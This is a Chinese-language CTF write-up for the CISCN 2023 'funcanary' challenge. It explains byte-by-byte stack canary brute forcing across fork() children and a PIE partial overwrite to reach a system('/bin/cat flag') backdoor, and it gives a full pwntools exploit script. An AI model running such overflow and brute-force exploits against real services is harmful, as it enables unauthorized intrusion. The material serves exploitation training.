收获

  • 通过 fork() 函数产生的 canary 金丝雀的值可以通过 one-by-one 爆破,canary 的最后一字节为 b'\x00',对于 64 位程序需要爆破出前七个字节

  • 开启 PIE 地址随机化时,可以利用 PIE 的漏洞,即:地址的低三位不会发生改变,可以对地址进行爆破

  • 在爆破 canary 和 真实地址时,发送数据用 io.send(),不可以用 io.sendline(),否则会将爆破的下一位修改为回车符(0x0a),导致爆破失败


(2023年5月27日-2023年5月28日)【CISCN 2023】funcanary


思路

分析程序:

CISCN2023-funcanary1.png

权限开满了

丢到 IDA 分析:

CISCN2023-funcanary2.png

发现程序会使用 fork() 生成子进程,注意:子进程崩溃不会导致父进程退出

跟进 sub_128A()

CISCN2023-funcanary3.png

在输入 buf 处存在溢出:

CISCN2023-funcanary4.png

但是有 canary 金丝雀保护

在函数列表中查找后门函数无果

查看字符串,发现 '/bin/cat flag'

CISCN2023-funcanary5.png

跟进位置:

CISCN2023-funcanary6.png

发现有 system("/bin/cat flag")

所以思路很清晰了,就是首先通过 one-by-one 爆破 canary 绕过金丝雀,然后通过 buf 的溢出跳转到后门函数执行 system("/bin/cat flag")

注意:
通过 fork() 函数产生的 canary 金丝雀的值是固定不变的 (同一个进程中的不同线程的 canary 是相同的),因为子进程会完全复制父进程地址空间的内容,所以可以爆破 canary 的值,利用子进程进行溢出,每次只溢出一个字节,直到溢出的这一个字节值是正确的,再溢出下一个字节

由于 canary 的低一位字节固定为 "\00",因此只需要爆破前七位字节,如此反复直到爆破完七位即可得到 canary 的值,每一字节的取值范围在 0 ~ 255

由于还开启了 PIE 地址随机化,所以后门函数的地址 0x1231 不是真实地址,但是可以利用 PIE 地址随机化的漏洞
即:地址的低三位不会发生改变

partial write(部分写入)是一种利用了 PIE 技术缺陷的 bypass 技术

由于内存的分页管理机制,如果开启 PIE 保护的话,只能影响到单个内存页,一个内存页大小为 0x1000,那么就意味着不管地址怎么变,某一条指令的后三位十六进制数是始终不变的

因此,根据后门函数的地址 0x1231 可以推断,后门函数的真实地址为 0xn231,其中 n 就是需要爆破的值,取值范围在 0 ~ 15


脚本

from pwn import *

context(os='linux', arch='amd64', log_level='debug')  # 打印调试信息
content = 1  # 本地Pwn通之后,将content改成0,Pwn远程端口

if content == 1:
    io = process("/home/wyy/桌面/PWN/funcanary")  # 程序路径
else:
    io = remote("39.106.84.217", 26433)  # 题目的远程端口

elf = ELF("/home/wyy/桌面/PWN/funcanary")


# 爆破 canary
canary = b'\x00'
for i in range(7):
    for j in range(256):
        canary += bytes([j])
        payload = b'a' * (0x70 - 0x08) + canary
        io.send(payload)  # 注意不能用 sendline,不能添加换行符,否则 canary 永远不正确
        s = io.recvline()  # b'welcome\n'
        s = io.recvline()  # b'*** stack smashing detected ***: terminated\n'
        if b'stack smashing detected' in s:
            canary = canary[:-1]
            continue
        else:
            print("成功找到第 " + str(i + 1) + " 个字节")
            break
        continue

print("canary:", canary)


# 爆破后门函数地址
address = b'\x31'
for i in range(16):
    address += bytes([0x10 * i + 2])  # 构造 b'\xi2',即 address = p64(0xi231)
    payload = b'a' * (0x70 - 0x08) + canary + b'a' * 0x8 + address
    io.send(payload)  # 注意不能用 sendline,不能添加换行符
    s = io.recvline()
    if b'flag' in s:
        print(s)
        break
    else:
        address = address[:-1]
        continue

io.interactive()

结果

CISCN2023-funcanary8.png

爆破出 canary:b'\x00}{\xa1K\xc8\xbf\xe5'

CISCN2023-funcanary7.png

可以看到爆破出的地址为:0xf231

执行后门函数的 system("/bin/cat flag") 获得 flag